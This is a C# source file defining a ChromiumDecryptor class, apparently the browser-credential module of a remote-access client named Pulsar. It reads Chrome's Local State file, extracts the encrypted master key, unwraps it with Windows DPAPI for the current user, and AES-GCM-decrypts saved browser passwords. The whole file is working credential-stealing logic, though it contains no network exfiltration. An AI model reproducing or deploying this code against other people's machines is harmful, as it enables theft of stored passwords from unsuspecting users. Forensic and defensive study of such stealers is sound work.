116 lines
3.7 KiB
C#
116 lines
3.7 KiB
C#
using Pulsar.Client.Recovery.Utilities;
|
|
using System;
|
|
using System.Diagnostics;
|
|
using System.IO;
|
|
using System.Linq;
|
|
using System.Security.Cryptography;
|
|
using System.Text;
|
|
|
|
namespace Pulsar.Client.Recovery.Browsers
|
|
{
|
|
/// <summary>
|
|
/// Provides methods to decrypt Chromium credentials.
|
|
/// </summary>
|
|
public class ChromiumDecryptor
|
|
{
|
|
private readonly byte[] _key;
|
|
|
|
public ChromiumDecryptor(string localStatePath)
|
|
{
|
|
try
|
|
{
|
|
if (localStatePath.Contains("AppData\\Local\\Application Data\\User Data"))
|
|
{
|
|
return;
|
|
}
|
|
|
|
if (File.Exists(localStatePath))
|
|
{
|
|
string localState = File.ReadAllText(localStatePath);
|
|
|
|
var startIndex = localState.IndexOf("\"encrypted_key\"") + "\"encrypted_key\"".Length + 2;
|
|
var endIndex = localState.IndexOf('"', startIndex + 1);
|
|
var encKeyStr = localState.Substring(startIndex, endIndex - startIndex);
|
|
|
|
try
|
|
{
|
|
_key = ProtectedData.Unprotect(Convert.FromBase64String(encKeyStr).Skip(5).ToArray(), null,
|
|
DataProtectionScope.CurrentUser);
|
|
}
|
|
catch (Exception e)
|
|
{
|
|
Debug.WriteLine(localStatePath);
|
|
Debug.WriteLine(e);
|
|
Debug.WriteLine("Failed to decrypt the key. Ensure you have the correct local state file.");
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
catch (Exception e)
|
|
{
|
|
Debug.WriteLine(e);
|
|
}
|
|
}
|
|
|
|
public string Decrypt(string cipherText)
|
|
{
|
|
try
|
|
{
|
|
if (string.IsNullOrEmpty(cipherText))
|
|
return "";
|
|
|
|
var cipherTextBytes = Encoding.Default.GetBytes(cipherText);
|
|
|
|
var initialisationVector = cipherTextBytes.Skip(3).Take(12).ToArray();
|
|
var encryptedData = cipherTextBytes.Skip(15).ToArray();
|
|
|
|
// Separate the actual encrypted data from the auth tag
|
|
var actualEncryptedData = encryptedData.Take(encryptedData.Length - 16).ToArray();
|
|
var authTag = encryptedData.Skip(encryptedData.Length - 16).ToArray();
|
|
|
|
var decryptedPassword = DecryptAesGcm(actualEncryptedData, _key, initialisationVector, authTag);
|
|
|
|
if (decryptedPassword == null || decryptedPassword.Length == 0)
|
|
return "";
|
|
|
|
return Encoding.UTF8.GetString(decryptedPassword);
|
|
}
|
|
catch (Exception e)
|
|
{
|
|
Debug.WriteLine(e);
|
|
return "";
|
|
}
|
|
}
|
|
|
|
private byte[] DecryptAesGcm(byte[] encryptedPassword, byte[] key, byte[] nonce, byte[] authTag)
|
|
{
|
|
const int KEY_BIT_SIZE = 256;
|
|
|
|
if (key == null || key.Length != KEY_BIT_SIZE / 8)
|
|
{
|
|
Debug.WriteLine("Key is null or invalid length!");
|
|
return null;
|
|
}
|
|
if (encryptedPassword == null || encryptedPassword.Length == 0)
|
|
{
|
|
Debug.WriteLine("Encrypted password is empty!");
|
|
return null;
|
|
}
|
|
|
|
|
|
AesGcmBetter AES = new AesGcmBetter();
|
|
var output = new byte[0];
|
|
|
|
try
|
|
{
|
|
output = AES.Decrypt(key, nonce, null, encryptedPassword, authTag);
|
|
}
|
|
catch (Exception e)
|
|
{
|
|
Debug.WriteLine(e);
|
|
return null;
|
|
}
|
|
return output;
|
|
}
|
|
}
|
|
} |